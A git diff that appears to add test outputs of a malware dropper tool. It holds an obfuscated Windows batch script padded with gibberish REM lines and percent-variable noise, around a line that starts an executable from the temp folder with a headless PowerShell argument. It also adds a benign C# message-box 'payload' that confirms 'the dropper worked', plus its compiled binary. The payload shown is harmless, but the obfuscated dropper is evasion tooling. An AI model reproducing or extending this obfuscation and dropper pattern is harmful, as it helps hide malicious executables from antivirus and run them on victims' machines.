+R%n9I7gp%em %cafxrKOmC7% nerocux xuqa kizeyoh sonutu nugoyate rataluxetiw nuk mozotaxap kisu xuzob

+:g0BIR1}E

+%N75ocw%REm %Q6MkZXkqdmY% ziyez seqowigusutu xiciqob zugaj hayid rolefo zocipakog quj favuhuci

+%los3b4Mc3%rEm %I4T8K7z2p% mikajobunumi caqehi zumugucegi yofuj faqe vitudi

+:TbRvpTY

+start %tmp%\OPuEp14bB.exe --headless powershell -c %ioiv9Gfy%

+g%RCEz21%O%emFxDTwUDH%To :G0B4RPSl

+%PzEF3Jy%REm %NwlkpYfrY2n% vacijinec vata yotur lamifemobiya vupano pireyofihe jerejorixa wuy

+%KR37LxqHzt5z%REm %iZzgmyZjONQW% sixeset tejo fesacisefuce lovuvekanen copetifiwu payujecuhad riricunelah kenenayayo zolowixef caj

+%Cj4L3I%:: %XFPJOT% hahobeligim lalopato tetadalih

+%uP1M4WZc6%:: %b3o3hBj2Nq5Z% zokogip duqo zibawihot popamen horusatu qujiko

+%hsK9QyiM4%REm %BAbON8uHT% qudufene lilopikohi joravaj delez

+%FwFE5yeDAm%REm %fpn9UQSK% suze heya saf wuyoma kuyibog wexufegito rug gizusa liwapo

+r%f67A3NxdQV%Em %XKcC2bD5M% kefuqabozom junu seceboqorubi garuxir wohuzey ziyuse sisocugawuji

+R%AvmrYNr5G%eM %fXNkrc7FI% mumevoranaqa yabivekede kasehig ric

+:G0B4RPSl
\ No newline at end of file
diff --git a/testexe and outputs/testpayload.cs b/testexe and outputs/testpayload.cs
new file mode 100644
index 0000000..695bf1a
--- /dev/null
+++ b/testexe and outputs/testpayload.cs	
@@ -0,0 +1,11 @@
+using System;
+using System.Windows.Forms;
+
+class Program
+{
+    [STAThread]
+    static void Main()
+    {
+        MessageBox.Show("hello from .NET payload!\n\nIf you see this, the dropper worked.", "payload executed", MessageBoxButtons.OK, MessageBoxIcon.Information);
+    }
+}
\ No newline at end of file
diff --git a/testexe and outputs/testpayload.exe b/testexe and outputs/testpayload.exe
new file mode 100644
index 0000000000000000000000000000000000000000..f622f37072e10336ebac7eba5675077f451e9505
GIT binary patch
literal 4096
zcmeHJO>9(E6#m{YC8bEEN)Qy`b|{J{uZ4C2q%G6Z0>!p8ouMSgNZ-7<oj!R#<9lz0
z856V%G`fSm3t~*%85SfGjWNV^<Hoo%!5z^=w#0?_-TS7UX@gpqM$XJV_ndRjJ@>nR
z=f0^ou45B`G|Qt$z#Z0#vYP)rTViwPzOOoQd&_e79b<C2JHO~eq8tXL(DH<B`F;?K
zf)ruJ7mhE+&gX;|6s5UsTSreL^vpOgX>7vSjb&$Lw0lSyTaB&2W?I@4>szXWV9By5
zCRn8s+>|taRbz>Tc10;<KLEDtf3t3=i3_$f?(0g<0{7DmV{0`JJk_diR2Hkyb&q!H
zXIuK3v8=_^i)u`^>A5y=Q`01Xc{7Yco0`U!rO>h_)HG#@-VCK1&{1QZr&-17WND!+
zFxsMOG0XWYQrJ>xLs<Yfc_0kxENZlWMRN$*tsK5jwsT+hAg9;y(xJVngKZQJ5kT(T
zsG*}LSgQkOpV{Bnf8@9trVTFn9!A*z9`F(C9ZJr{q2re#<?#vU^%?8^7jnoFCwCY7
z&s>-oV?9HCM(Lw&P++Zy?#7uNz!s(aexM&alewv5#Wr0CP2T|yrF9~0Al!_jc$JG#
z#2EQC&A*_f13%&}`OljFra6qe?4LweTt(ZC=gHf&HX|tF29E3K3tIbd*DyE9Ko^Gb
z40e-uqFeJ<@U*dqsFg+F1w026Tk$gav*<&53G3)n>RjtpGLX^oT3dopHw;b%#fmG3
z5z8npTXi?Eil(ed%p}(rUStQM>lBcyN3ry9zVNoRV@z3&57Ul=u+d=7R{YrUq<Jdv
z%8o0;oD8duEh8ibD|P~ZR=QSAOVLQo-7HjMiAG1|#-@VfI&r<(+JXzY{78N=lvc6X
zoS-r<I({*@5}Bui(2Fo7qsS`B(V&Jg$8v+xtc)ryL9g0JD{&n7t)3Hh;3KyfTmh~w
zLh=N<2)O182w8iSOiW`Oc}itisOxr%XQG=s*?|dq3R(kHSVxQ?S;ts}L+!POtZYRc
zvCJrvlE4-A32~WPkz=5HZFE6<jm2i%So^4b`~K<=zgF*`J9F#W!=Jue{=5h6U%vb1
z-0p#UAFE5dNx(=8!)Q+%^zA^pYj<a7*Na`<?M5S!?o|gfpW1mbw93<gKVGwCS#1!P
zm&<72SdTs(noTQNH1$?#C2s(iP6gq3P3m)@&y192(N*`DFUkRktd^dz|H2BSbUqb)
zMRyVIvE(&v0iI+v=GdhcBgMqN_!ztLTT*NdsnZEuXStaLkE7BOdN>OFk~C{WJ~hC4
z4mn&RAIB`E37qGRyu^AMrztD?CjH<Kg=0OPY#7q4*SC&o+Z^w7$T$w~wPZ}6_c_qL
zdZ2pc*=o@mvEAZLblB?acHma}HiH_(6w}M0z4Vw!*R@X{^LFwZK!FmN8&d4MGV&Nl
zk9gZvobsA+1bzE>f1AE@^bP6V#L~wM(kwuhJ89_IsN4|}nMM55<Q{b}z8WoFm(fgG
zRn7qpYHX8~OS<PN&brJjr_hy{+tjy<U^%PDIp46W6;R`>%t>h*8*f0*Z-#LKX2S~C
zA?ALson>==YOd;hsx=wmJXF^8xT-D@ihu0Ku6XeEw}U5Zo-3*{jF|t1GDpn5jF7$^
z6#1<&l(~>UefU^LM6u-;`I7i@C{veF=H&3UjzKGmq*rk3f&u(!C{qdj6Op|rJu5ow
zId&LC!9sl44!jdq<eAkY8R1#Jv%rUTu5~nq5@I#jL{ah`jq7U=@#Bc7e9PnTQ}vN@
z*>!CFjG9)toas#>#9<|hC;WwAgLsZ+bU%(ANxKqq%!W=&DBr0Nr!3BdPL;2DNk$ut
z+P@N2keYG$G}smO!c5AlbcL(<P{xWT{AzGnh8a<DMr?j9a2XdYH<FD>=^(w2L9+tA
lcMbNz-ql5*!(i{q4pC9N{e=E<1w`^4KCja36Z+q+z@KFk_ptx~

literal 0
HcmV?d00001